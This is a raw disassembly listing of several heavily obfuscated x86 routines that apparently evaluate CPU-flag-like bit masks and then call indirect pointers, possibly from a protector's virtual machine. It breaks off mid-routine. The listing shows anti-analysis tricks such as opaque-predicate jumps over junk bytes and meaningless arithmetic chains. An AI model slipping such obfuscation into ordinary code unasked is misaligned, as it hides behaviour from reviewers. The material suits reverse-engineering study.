var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 0BDh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		dec	cl
		sub	cl, 3
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		inc	cl
		inc	cl
		inc	cl
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0C00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		jo	short loc_499AB6
		jl	short loc_499AB4


loc_499AB1:				; CODE XREF: sub_4999E5:loc_499AB4j
					; sub_4999E5:loc_499AB6j
		jmp	short loc_499AB8
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_499AB4:				; CODE XREF: sub_4999E5+CAj
		jz	short loc_499AB1


loc_499AB6:				; CODE XREF: sub_4999E5+C8j
		jmp	short loc_499AB1
; ---------------------------------------------------------------------------


loc_499AB8:				; CODE XREF: sub_4999E5:loc_499AB1j
		setnz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED408
		xor	ecx, dword_4ED40C
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_499AE0
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_499AE0:				; CODE XREF: sub_4999E5+F0j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D60
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4999E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499AF4	proc near		; DATA XREF: sub_4965D8+7CDo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		inc	ebx
		inc	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 10h
		dec	ch
		dec	ch
		sub	ch, 11h
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		mov	ebx, [ebp+arg_4]
		dec	esi
		dec	edi
		xor	edx, edx
		or	ebx, edx
		jz	short loc_499B3A
		dec	edi
		and	eax, 0
		jmp	short loc_499B41
; ---------------------------------------------------------------------------


loc_499B3A:				; CODE XREF: sub_499AF4+3Ej
		dec	edi
		and	eax, 0
		dec	edi
		dec	edi
		inc	eax


loc_499B41:				; CODE XREF: sub_499AF4+44j
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED400
		xor	eax, dword_4ED404
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_499B63
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_499B63:				; CODE XREF: sub_499AF4+64j
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D58
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499AF4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499B77	proc near		; DATA XREF: sub_4965D8+5F1o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 3
		jo	short loc_499BA8
		jl	short loc_499BA6


loc_499BA3:				; CODE XREF: sub_499B77:loc_499BA6j
					; sub_499B77:loc_499BA8j
		jmp	short loc_499BAA
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_499BA6:				; CODE XREF: sub_499B77+2Aj
		jz	short loc_499BA3


loc_499BA8:				; CODE XREF: sub_499B77+28j
		jmp	short loc_499BA3
; ---------------------------------------------------------------------------


loc_499BAA:				; CODE XREF: sub_499B77:loc_499BA3j
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 87h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		sub	bl, 1Eh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		jo	short loc_499BEC
		jl	short loc_499BEA


loc_499BE7:				; CODE XREF: sub_499B77:loc_499BEAj
					; sub_499B77:loc_499BECj
		jmp	short loc_499BEE
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_499BEA:				; CODE XREF: sub_499B77+6Ej
		jz	short loc_499BE7


loc_499BEC:				; CODE XREF: sub_499B77+6Cj
		jmp	short loc_499BE7
; ---------------------------------------------------------------------------


loc_499BEE:				; CODE XREF: sub_499B77:loc_499BE7j
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F0
		xor	ecx, dword_4ED3F4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_499C1C
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_499C1C:				; CODE XREF: sub_499B77+9Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D48
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499C30	proc near		; DATA XREF: sub_4965D8+3A4o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DCC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 80h
		jmp	short loc_499C59
; ---------------------------------------------------------------------------
		mov	ebx, 4


loc_499C59:				; CODE XREF: sub_499C30+22j
		mov	ebx, 27h
		xor	ebx, 15h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		sub	ebx, 0FFFFFFFFh
		inc	ebx
		inc	ebx
		inc	ebx
		sub	ebx, 0FFFFFFFFh
		inc	ebx
		inc	ebx
		sub	ebx, 0FFFFFFFFh
		add	ebx, 0FFFFFFFFh
		push	ecx
		mov	ecx, 3
		inc	ecx
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3FC
		xor	ecx, dword_4ED400
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_499CB3
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_499CB3:				; CODE XREF: sub_499C30+78j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D54
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499C30	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499CC7	proc near		; DATA XREF: sub_4965D8+129o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0Ah
		pop	ebx
		dec	bl
		dec	bl
		dec	bl
		add	bl, 0FFh
		add	bl, 0FFh
		dec	bl
		jo	short loc_499D06
		jl	short loc_499D04


loc_499D01:				; CODE XREF: sub_499CC7:loc_499D04j
					; sub_499CC7:loc_499D06j
		jmp	short loc_499D08
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_499D04:				; CODE XREF: sub_499CC7+38j
		jz	short loc_499D01


loc_499D06:				; CODE XREF: sub_499CC7+36j
		jmp	short loc_499D01
; ---------------------------------------------------------------------------


loc_499D08:				; CODE XREF: sub_499CC7:loc_499D01j
		add	bl, 0FFh
		add	bl, 0FFh
		add	bl, 0FFh
		add	bl, 0FFh
		and	al, bl
		jo	short loc_499D1F
		jl	short loc_499D1D


loc_499D1A:				; CODE XREF: sub_499CC7:loc_499D1Dj
					; sub_499CC7:loc_499D1Fj
		jmp	short loc_499D21
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_499D1D:				; CODE XREF: sub_499CC7+51j
		jz	short loc_499D1A


loc_499D1F:				; CODE XREF: sub_499CC7+4Fj
		jmp	short loc_499D1A
; ---------------------------------------------------------------------------


loc_499D21:				; CODE XREF: sub_499CC7:loc_499D1Aj
		mov	dh, 15h
		and	dl, 0
		dec	dh
		sub	dh, 6
		dec	dh
		dec	dh
		dec	dh
		sub	dh, 1
		dec	dh
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_499D48
		not	eax
		add	eax, 1
		stc
		jmp	short loc_499D4E
; ---------------------------------------------------------------------------


loc_499D48:				; CODE XREF: sub_499CC7+77j
		not	eax
		add	eax, 1
		clc


loc_499D4E:				; CODE XREF: sub_499CC7+7Fj
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F4
		xor	ecx, dword_4ED3F8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_499D75
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_499D75:				; CODE XREF: sub_499CC7+A3j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D4C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499CC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499D89	proc near		; DATA XREF: sub_4965D8+F54o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DAC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 80h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1400h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 6
		dec	dh
		jo	short loc_499DE9
		jl	short loc_499DE7


loc_499DE2:				; CODE XREF: sub_499D89:loc_499DE7j
					; sub_499D89:loc_499DE9j
		jmp	short loc_499DEB
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_499DE7:				; CODE XREF: sub_499D89+57j
		jz	short loc_499DE2


loc_499DE9:				; CODE XREF: sub_499D89+55j
		jmp	short loc_499DE2
; ---------------------------------------------------------------------------


loc_499DEB:				; CODE XREF: sub_499D89:loc_499DE2j
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3DC
		xor	ecx, dword_4ED3E0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_499E18
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_499E18:				; CODE XREF: sub_499D89+84j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D34
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499D89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499E2C	proc near		; DATA XREF: sub_4965D8+E44o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 87h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E0
		xor	ecx, dword_4ED3E4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_499EC4
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_499EC4:				; CODE XREF: sub_499E2C+8Dj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D38
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499E2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499ED8	proc near		; DATA XREF: sub_4965D8+8C7o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0AFh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 300h
		inc	dh
		inc	dh
		dec	dh
		inc	dh
		inc	dh
		inc	dh
		inc	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3D4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_499FC0
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_499FC0:				; CODE XREF: sub_499ED8+DDj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499ED8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499FD4	proc near		; DATA XREF: sub_4965D8+360o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 2
		sub	dh, 0FFh
		dec	dh
		sub	dh, 0FFh
		dec	dh
		sub	dh, 0FFh
		sub	dh, 1
		sub	dh, 1
		dec	dh
		and	ah, dh
		mov	edx, 800h
		mov	dl, 0Fh
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 0Ah
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 5
		dec	dl
		dec	dl
		dec	dl
		sub	dl, 3
		sub	dl, 0FFh
		dec	dl
		inc	dl
		inc	dl
		and	al, dl
		not	ah
		not	ah
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED404
		xor	ecx, dword_4ED408
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49A067
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49A067:				; CODE XREF: sub_499FD4+88j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D5C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499FD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A07B	proc near		; DATA XREF: sub_4965D8+2D8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 80h
		jmp	short loc_49A0A4
; ---------------------------------------------------------------------------
		mov	ebx, 40h


loc_49A0A4:				; CODE XREF: sub_49A07B+22j
		mov	ebx, 71h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		add	ebx, 7
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E0
		xor	ecx, dword_4ED3E4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49A0EE
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49A0EE:				; CODE XREF: sub_49A07B+68j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D38
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49A07B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A102	proc near		; DATA XREF: sub_4965D8+11A1o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 4
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 80h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		jo	short loc_49A154
		jl	short loc_49A152


loc_49A14D:				; CODE XREF: sub_49A102:loc_49A152j
					; sub_49A102:loc_49A154j
		jmp	short loc_49A156
; ---------------------------------------------------------------------------
		icebp
		adc	ah, [esi]


loc_49A152:				; CODE XREF: sub_49A102+49j
		jz	short loc_49A14D


loc_49A154:				; CODE XREF: sub_49A102+47j
		jmp	short loc_49A14D
; ---------------------------------------------------------------------------


loc_49A156:				; CODE XREF: sub_49A102:loc_49A14Dj
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jnz	loc_49A227
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 1
		dec	bh
		and	eax, 41h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 93h
		sub	bl, 0Bh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_49A1CE
		jl	short loc_49A1CC


loc_49A1C7:				; CODE XREF: sub_49A102:loc_49A1CCj
					; sub_49A102:loc_49A1CEj
		jmp	short loc_49A1D0
; ---------------------------------------------------------------------------
		db 0F2h, 12h, 26h
; ---------------------------------------------------------------------------


loc_49A1CC:				; CODE XREF: sub_49A102+C3j
		jz	short loc_49A1C7


loc_49A1CE:				; CODE XREF: sub_49A102+C1j
		jmp	short loc_49A1C7
; ---------------------------------------------------------------------------


loc_49A1D0:				; CODE XREF: sub_49A102:loc_49A1C7j
		sub	bl, 6
		push	eax
		and	eax, 40h
		dec	bl
		sub	bl, 14h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49A208
		jl	short loc_49A206


loc_49A201:				; CODE XREF: sub_49A102:loc_49A206j
					; sub_49A102:loc_49A208j
		jmp	short loc_49A20A
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49A206:				; CODE XREF: sub_49A102+FDj
		jz	short loc_49A201


loc_49A208:				; CODE XREF: sub_49A102+FBj
		jmp	short loc_49A201
; ---------------------------------------------------------------------------


loc_49A20A:				; CODE XREF: sub_49A102:loc_49A201j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49A219
		jl	short loc_49A217


loc_49A214:				; CODE XREF: sub_49A102:loc_49A217j
					; sub_49A102:loc_49A219j
		jmp	short loc_49A21B
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49A217:				; CODE XREF: sub_49A102+110j
		jz	short loc_49A214


loc_49A219:				; CODE XREF: sub_49A102+10Ej
		jmp	short loc_49A214
; ---------------------------------------------------------------------------


loc_49A21B:				; CODE XREF: sub_49A102:loc_49A214j
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49A227
		and	eax, 0
		inc	eax
		jmp	short loc_49A22A
; ---------------------------------------------------------------------------


loc_49A227:				; CODE XREF: sub_49A102+74j
					; sub_49A102+11Dj
		and	eax, 0


loc_49A22A:				; CODE XREF: sub_49A102+123j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED410
		xor	ecx, dword_4ED414
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49A24D
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49A24D:				; CODE XREF: sub_49A102+140j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D68
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49A102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A261	proc near		; DATA XREF: sub_4965D8+635o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0Dh
		pop	ebx
		jo	short loc_49A294
		jl	short loc_49A292


loc_49A28D:				; CODE XREF: sub_49A261:loc_49A292j
					; sub_49A261:loc_49A294j
		jmp	short loc_49A296
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49A292:				; CODE XREF: sub_49A261+2Aj
		jz	short loc_49A28D


loc_49A294:				; CODE XREF: sub_49A261+28j
		jmp	short loc_49A28D
; ---------------------------------------------------------------------------


loc_49A296:				; CODE XREF: sub_49A261:loc_49A28Dj
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 2500h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 17h
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED408
		xor	ecx, dword_4ED40C
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49A2EB
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49A2EB:				; CODE XREF: sub_49A261+7Fj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D60
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49A261	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A2FF	proc near		; DATA XREF: sub_4965D8+115Do

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		jo	short loc_49A314
		jl	short loc_49A312


loc_49A30F:				; CODE XREF: sub_49A2FF:loc_49A312j
					; sub_49A2FF:loc_49A314j
		jmp	short loc_49A316
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_49A312:				; CODE XREF: sub_49A2FF+Ej
		jz	short loc_49A30F


loc_49A314:				; CODE XREF: sub_49A2FF+Cj
		jmp	short loc_49A30F
; ---------------------------------------------------------------------------


loc_49A316:				; CODE XREF: sub_49A2FF:loc_49A30Fj
		mov	ebx, 4
		and	eax, ebx
		mov	ch, 52h
		dec	ch
		mov	ebx, [ebp+arg_4]
		dec	esi
		dec	edi
		dec	edi
		xor	ecx, ecx
		or	ebx, ecx
		jz	short loc_49A338
		dec	edi
		sub	ch, 2
		dec	ch
		and	eax, 0
